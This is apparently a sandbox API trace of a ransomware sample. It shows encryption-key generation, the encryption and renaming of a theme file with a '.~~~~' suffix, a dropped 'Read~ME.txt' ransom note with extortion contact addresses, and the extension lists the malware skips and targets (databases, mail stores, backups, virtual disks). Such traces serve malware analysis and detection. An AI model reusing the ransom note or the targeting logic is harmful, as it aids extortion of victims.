	[0083.691] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.692] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.692] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0083.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.693] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20368267635) returned 1
	[0083.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9bb80b10, dwHighDateTime=0x1d60e1e)) 
	[0083.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0083.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0083.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0083.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aca88
	[0083.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aca88 | out: hHeap=0x300000) returned 1
	[0083.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab030
	[0083.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab030 | out: hHeap=0x300000) returned 1
	[0083.693] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0083.693] GetLastError () returned 0x0
	[0083.694] GetLastError () returned 0x0
	[0083.694] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.694] GetLastError () returned 0x0
	[0083.694] GetLastError () returned 0x0
	[0083.695] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffe3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.695] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1c2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x1c2, lpOverlapped=0x0) returned 1
	[0083.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.696] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.696] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.696] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.696] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.696] CloseHandle (hObject=0x124) returned 1
	[0083.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.696] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.~~~~")) returned 1
	[0083.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0083.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0083.697] GetLastError () returned 0x0
	[0083.697] RtlWakeConditionVariable () returned 0x365f70
	[0083.697] GetCurrentThreadId () returned 0x3a4
	[0083.697] GetCurrentThreadId () returned 0x3a4
	[0083.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0083.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab180 | out: hHeap=0x300000) returned 1
	[0083.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acaf8 | out: hHeap=0x300000) returned 1
	[0083.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab180
	[0083.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.698] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.698] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.699] CloseHandle (hObject=0x124) returned 1
	[0083.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab180 | out: hHeap=0x300000) returned 1
	[0083.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aad90 | out: hHeap=0x300000) returned 1
	[0083.699] RtlWakeConditionVariable () returned 0x365f70
	[0083.699] GetCurrentThreadId () returned 0x3a4
	[0083.699] GetCurrentThreadId () returned 0x3a4
	[0083.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0083.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab228 | out: hHeap=0x300000) returned 1
	[0083.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9500 | out: hHeap=0x300000) returned 1
	[0083.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0083.700] lstrlenW (lpString=".scr") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".scr") returned 0x0
	[0083.700] lstrlenW (lpString=".cmd") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".cmd") returned 0x0
	[0083.700] lstrlenW (lpString=".dll") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".dll") returned 0x0
	[0083.700] lstrlenW (lpString=".bat") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".bat") returned 0x0
	[0083.700] lstrlenW (lpString=".cpl") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".cpl") returned 0x0
	[0083.700] lstrlenW (lpString=".sys") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".sys") returned 0x0
	[0083.700] lstrlenW (lpString=".msc") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".msc") returned 0x0
	[0083.700] lstrlenW (lpString=".com") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".com") returned 0x0
	[0083.700] lstrlenW (lpString=".lnk") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".lnk") returned 0x0
	[0083.700] lstrlenW (lpString=".msp") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".msp") returned 0x0
	[0083.700] lstrlenW (lpString=".pif") returned 4
	[0083.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".pif") returned 0x0
	[0083.701] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.701] lstrlenW (lpString=".sqb") returned 4
	[0083.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".sqb") returned 0x0
	[0083.701] lstrlenW (lpString=".ost") returned 4
	[0083.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".ost") returned 0x0
	[0083.701] lstrlenW (lpString=".txt") returned 4
	[0083.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".txt") returned 0x0
	[0083.701] lstrlenW (lpString=".mdt") returned 4
	[0083.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".mdt") returned 0x0
	[0083.701] lstrlenW (lpString=".BDB") returned 4
	[0083.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".BDB") returned 0x0
	[0083.701] lstrlenW (lpString=".eql") returned 4
	[0083.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".eql") returned 0x0
	[0083.701] lstrlenW (lpString=".DBF") returned 4
	[0083.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DBF") returned 0x0
	[0083.701] lstrlenW (lpString=".EQL") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".EQL") returned 0x0
	[0083.702] lstrlenW (lpString=".FDB") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".FDB") returned 0x0
	[0083.702] lstrlenW (lpString=".EDB") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".EDB") returned 0x0
	[0083.702] lstrlenW (lpString=".DACPAC") returned 7
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.702] lstrlenW (lpString=".VHD") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".VHD") returned 0x0
	[0083.702] lstrlenW (lpString=".DBV") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DBV") returned 0x0
	[0083.702] lstrlenW (lpString=".dacpac") returned 7
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".dacpac") returned 0x0
	[0083.702] lstrlenW (lpString=".sdf") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".sdf") returned 0x0
	[0083.702] lstrlenW (lpString=".accdb") returned 6
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".accdb") returned 0x0
	[0083.702] lstrlenW (lpString=".DBX") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DBX") returned 0x0
	[0083.702] lstrlenW (lpString=".MDT") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".MDT") returned 0x0
	[0083.702] lstrlenW (lpString=".SQB") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".SQB") returned 0x0
	[0083.702] lstrlenW (lpString=".vhd") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".vhd") returned 0x0
	[0083.702] lstrlenW (lpString=".bac") returned 4
	[0083.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".bac") returned 0x0
	[0083.703] lstrlenW (lpString=".mdf") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".mdf") returned 0x0
	[0083.703] lstrlenW (lpString=".BAK") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".BAK") returned 0x0
	[0083.703] lstrlenW (lpString=".BAC") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".BAC") returned 0x0
	[0083.703] lstrlenW (lpString=".dbs") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".dbs") returned 0x0
	[0083.703] lstrlenW (lpString=".vhdx") returned 5
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".vhdx") returned 0x0
	[0083.703] lstrlenW (lpString=".NDF") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".NDF") returned 0x0
	[0083.703] lstrlenW (lpString=".dat") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".dat") returned 0x0
	[0083.703] lstrlenW (lpString=".DBS") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DBS") returned 0x0
	[0083.703] lstrlenW (lpString=".CKP") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".CKP") returned 0x0
	[0083.703] lstrlenW (lpString=".edb") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".edb") returned 0x0
	[0083.703] lstrlenW (lpString=".PST") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".PST") returned 0x0
	[0083.703] lstrlenW (lpString=".dbf") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".dbf") returned 0x0
	[0083.703] lstrlenW (lpString=".SQL") returned 4
	[0083.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".SQL") returned 0x0
	[0083.703] lstrlenW (lpString=".pst") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".pst") returned 0x0
	[0083.704] lstrlenW (lpString=".dbv") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".dbv") returned 0x0
	[0083.704] lstrlenW (lpString=".SDF") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".SDF") returned 0x0
	[0083.704] lstrlenW (lpString=".dtxs") returned 5
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".dtxs") returned 0x0
	[0083.704] lstrlenW (lpString=".db3") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".db3") returned 0x0
	[0083.704] lstrlenW (lpString=".OST") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".OST") returned 0x0
	[0083.704] lstrlenW (lpString=".dbx") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".dbx") returned 0x0
	[0083.704] lstrlenW (lpString=".DB3") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DB3") returned 0x0
	[0083.704] lstrlenW (lpString=".DAT") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DAT") returned 0x0
	[0083.704] lstrlenW (lpString=".VHDX") returned 5
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".VHDX") returned 0x0
	[0083.704] lstrlenW (lpString=".ndf") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".ndf") returned 0x0
	[0083.704] lstrlenW (lpString=".DB") returned 3
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DB") returned 0x0
	[0083.704] lstrlenW (lpString=".sql") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".sql") returned 0x0
	[0083.704] lstrlenW (lpString=".MYD") returned 4
	[0083.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".MYD") returned 0x0
	[0083.705] lstrlenW (lpString=".DBT") returned 4
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DBT") returned 0x0
	[0083.705] lstrlenW (lpString=".ACCDB") returned 6
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.705] lstrlenW (lpString=".fdb") returned 4
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".fdb") returned 0x0
	[0083.705] lstrlenW (lpString=".bak") returned 4
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".bak") returned 0x0
	[0083.705] lstrlenW (lpString=".myd") returned 4
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".myd") returned 0x0
	[0083.705] lstrlenW (lpString=".DTXS") returned 5
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".DTXS") returned 0x0
	[0083.705] lstrlenW (lpString=".ckp") returned 4
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".ckp") returned 0x0
	[0083.705] lstrlenW (lpString=".dbt") returned 4
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".dbt") returned 0x0
	[0083.705] lstrlenW (lpString=".db") returned 3
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".db") returned 0x0
	[0083.705] lstrlenW (lpString=".TXT") returned 4
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".TXT") returned 0x0
	[0083.705] lstrlenW (lpString=".MDF") returned 4
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".MDF") returned 0x0
	[0083.705] lstrlenW (lpString=".bdb") returned 4
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".bdb") returned 0x0
	[0083.705] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0083.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.706] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.707] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.707] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.707] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20369692572) returned 1
	[0083.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9bba6c70, dwHighDateTime=0x1d60e1e)) 
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9500
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9500 | out: hHeap=0x300000) returned 1
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab180
	[0083.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab180 | out: hHeap=0x300000) returned 1
	[0083.707] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
